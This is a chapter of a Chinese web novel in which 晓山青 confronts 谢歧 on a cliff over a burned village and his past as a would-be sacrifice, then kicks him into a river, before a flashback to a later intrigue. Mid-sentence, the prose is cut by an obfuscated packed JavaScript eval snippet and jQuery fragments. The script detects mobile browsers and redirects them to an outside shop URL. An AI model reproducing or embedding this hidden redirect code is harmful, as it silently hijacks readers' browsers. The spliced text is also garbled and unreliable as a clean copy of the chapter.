56. 祭品

作品:《苗疆出逃日记

    “……我没错。”谢歧说。


    说这话的时候他正趴在崖边上,剩下的力气不足以支撑他把自己带上来,因此他的十指抠在岩缝里,指尖已经带了一点血色。而晓山青站在离他半丈远的地方,把手笼在袖子里,居高临下地看他。


    “当然,疯子都不会觉得自己有错。”她带着几分不耐烦胡乱答道,“我也没问你知不知道错了,你突然冒出这句话来,想干嘛?”


    谢歧被她呛得一愣,不知道想到了什么,眸中掠过一丝空泛的茫然。


    反倒是晓山青瞧见他这样子有点乐了,忍不住歪了歪脑袋。鬓边银环轻晃,她出声讽刺道:“不继续摆你那张死气沉沉的蠢脸了?接下来要干嘛?我猜猜,是不是要……装失忆了?”她忽然双手合十,期待地看向他:“说啊,快说你是无辜的。你什么都不记得了,放火烧寨的不是你,毁尸灭迹的也不是你。”


    这样,她就可以毫无心理负担地一脚把他踹下去,送他去山神娘娘面前辩个分明。


    可是谢歧的声音平淡无波,像在陈述今日天气晴朗。他说:“是我。”


    太可惜了。晓山青想,他居然承认了。


    不过没关系,她照样可以把他踹下去。


    晓山青低头笑道:“那更简单了。欠债还钱,杀人偿命,天经地义——你安心去死吧。”


    谢歧依旧没有要辩解的意思,只是流露出了一点困惑。他观察着她的表情,忽然说了一句话:“如果我死了,没有我的血当药引的话,那你也会死。”


    ……听起来像是威胁或者挑衅。但谢歧的语气很平,仿佛只是在单纯地陈述事实。


    一丝烦躁漫上了晓山青的心头。


    我怕死吗?她想。


    怕死有用吗?毕竟在我来到人世间的短短几年里,死亡可从不避讳大声谈论我的名字。


    还是说——他希望我会怕死?他希望我采取与他一样的态度,不管不顾,舍弃所有,也要狼狈地活下去?


    ……那谢歧可就算错了。


    死有什么不好的?不用再在难熬的病发的晚上躲在被子里一个人悄悄哭泣。不用再看着阿爹整夜整夜地守在她身边,在灯下翻医书,把眼下熬得乌青一片。不用再看着祭司婆婆每日辛辛苦苦地守在炉子边给她熬药,还要摸着她的头,骗她喝了这碗药她就快好了。


    不用再背负沉重的期待与爱,不用再困在这具正在受苦的肉身。


    多轻松,多简单,多干净。


    晓山青按着胸口喘息了几声,向前走了几步,走到他跟前,鞋尖几乎抵上他扒在崖边、血迹斑驳的手指。微微站定,她就作势抬脚要去踩谢歧扒在崖边的手——做这事儿时她脸上甚至还带着微微的讥诮的笑意:“你这是不相信我敢弄死你?”


    “别急,我这就满足你。”


    “你是不怕死。”谢歧的声音像崖下飘上来的雾气。


    他还在观察她,然后张口说话:“……可你也不厌倦‘活着’。”


    真是好笑。都这种时候了,他们两个仍然下意识地尝试在对方身上找到共同点——她希望谢歧和她一起去死,谢歧希望她和他一样想活,这算不上两个将死之人的惺惺相惜?


    晓山青轻轻嗤笑了一声,淡漠地垂下了眼睛。她几乎是毫不动摇:“你说的对,但没关系。每个人都会死。昨夜死的人够多了,多个你也不算多,当然,再多个我也不是不行。”


    谢歧忽然开口问道:“可是,如果,昨夜死的那些人本就是该死的呢?”


    昨夜死的那些人本就该死?


    晓山青想,不,你搞错了,我并不是在关心他们。我尊重所有人的命运,包括我自己的。


    但她实在懒得与他多费口舌,只拍了拍手,笑着打断了这个话题:“那你也没好到哪里去,你就不该死吗?”


    谢歧皱起了眉头。


    他脸上的布条被他丟在了那场火海里,因此晓山青看见的是他坑坑洼洼的脸,不好看,不,简直是丑陋。但他皱眉时,晓山青先注意到的确实他的眼睛。无可否认,他有一双很吸引人的眼睛,一双与他的脸完全不匹配的眼睛。


    “我凭什么该死?”他慢慢地说,“——我凭什么该死?!!”


    但随后他不再说话了。


    扣着岩缝的手慢慢松了一点。松碎的土从他的指缝里漏下,坠入深不见底的虚谷。一条河正在从那里奔流而过,水花拍打在山崖边,发出巨大的声响。


    谢歧忽然显得倦怠了起来,无声地笑了笑:“算了,我没力气了……就这样吧。”


    他好像突然认命了。


    晓山青冷冷地看着他,眼看着他真的要掉下去了,忽然探出手一把扯住了他的领子,把他拎上来一点。


    被她拽上来的谢歧抬头看她。


    晓山青看他:“没有遗言?”


    “没,有,遗,言——非要我说的话,今日死的人都是该死的人。”谢歧低头,顿了顿,喉间溢出一声冷笑,“包括我。”


    真奇怪。这句话被谢歧轻飘飘说出来,在空中转了个圈,像一缕风一样轻飘飘地触动了一下晓山青的心弦。


    她产生了一点好奇。不多,只有一点点。虽然她本不该生出这点多余的好奇。


    在短暂的静默之后,晓山青这样突兀地问道:“这个寨子对你做了什么?”


    其实答案显而易见。谢歧倒在山神庙前时那副人不人鬼不鬼的样子总不能是自己折腾出来的。这样的一个孩子,他之前到底哪里长大,是怎么长大的,又怎么会以这副模样逃出来?


    “……我不想听太多废话。”晓山青竖起一根手指表示自己没有太多耐心,“就说说被你吊死在树上的那个吧。”


    那块风干的腊肉,对她来说还真的是记忆犹深。


    “不是我吊的。”谢歧答得很快,几乎不假思索,“他自己把自己挂上去的,为了诅咒我。”


    山风呼啸而过,卷起他散乱的发丝,露出苍白额角下方一双过分平静的眼睛。


    “他咒我生前亲缘断绝,死后烈火焚身。”谢歧学着她的样子歪了歪头,“但是没有用。我本就没什么亲缘,更不在乎死后是怎么样的。”


    “……他对你做了什么?”晓山青重复问道。


    “他啊。”谢歧冷笑,眼中那片死水终于泛起一丝波澜。他回忆道:“这寨子里的其他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16822815|185748||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人不过是骂我,打我,咒我,想要我饿死,跌死,冻死……或者‘病死’。只有他,想把我献给蛊神。”


    ……什么蛊神?


    晓山青默了一默。


    这倒是她头一次听到这号神,如果是要拿人的血肉献祭的话,那这尊神应当不是什么仁慈的角色。


    “他把我带蛇坑喂蛇,蛇死了,我没死,他又把我带去蛊窟喂蛊。”谢歧的声音又冷又硬,带着一丝无法描述的怨毒,“他见我还不死,又把我抓上来,发了癫一样要剖开我的肚子,要割我的肉放我的血,要把我塞进土瓮里给他‘养蛊’。”


    “我逃了,但没逃掉,因为有人看到了我。”


    “……是一群玩泥巴的小孩,我本可以杀掉他们的。”谢歧漠然道,“但我没有。结果就是我被抓了回去。”


    晓山青有点疑惑:“……为什么?”


    这话问得没头没尾的,但谢歧显然听懂了她在问什么。他“呵”了一声:“如你所见。因为我来路不明的怪物,是灾厄不幸的化身,是洞支奇的转世,是被神厌恶的祭品。”


    晓山青:“……”这话你自己信了没?


    晓山青敷衍地点头:“对对对,你是你是你是。”


    谢歧:“……”


    “说完了?”


    “……说完了。”


    “有一件事,我得先告诉你,免得你误会我。”晓山青注视着他脸上丑陋的瘢痕与凹陷的小坑,忽然笑了起来,“你放心,我的道德感没有那么强。从一开始,在我这里,你该死的原因只有一个。”


    “和那群渣滓没有一点关系。”她抬脚,“你记好了,是因为你先想杀我,所以我才觉得你该死。”


    “记住了吗?”她笑意盈盈,同时脚下毫不留情向他的手踹去,“记住了,那就去死吧。”


    谢歧张了张口,但没来得及说出什么话来。他摔了下去,崖底的暗流发出了巨大的咆哮声,转瞬之间就把他吞没了。


    晓山青看着那片白茫茫的水花,一步一步地向后退去。


    谢歧会不会死?晓山青不知道,但晓山青尊重所有人的命运。


    也许他就这么死了。也许他还能活着从水里爬出来报复她,毕竟他那么想活,对吧?


    *


    “……”


    而十年之后的晓山青摸着谢歧的侧脸,分神想道:所以,怎么又变成这个样子了呢?


    天下明玉堂的人对他做了什么,让他想起了以前的事情?


    谢歧又是怎么被他们盯上的?


    不应该啊。谢歧几次出手都是在她眼皮子底下,在昭宁长公主府里和漱石打的,还有京兆陆氏给他当个障眼法,谢歧的特殊之处是怎么被这群人发现的?


    电光火石之间,她想到了答案。


    谢歧确实还出过一次手,用的也是蝶蛊。


    ——城郊,温泉别院,崔家养的“喉咙”和“舌头”,还有那个按理说应当是死无全尸、不该被人注意到的朱北。


    漱石的收尾工作大抵还是慢了一步。


    那么,是天下明玉堂抢先注意到了“朱北”的异常,还是“朱北”本就是天下明玉堂的人?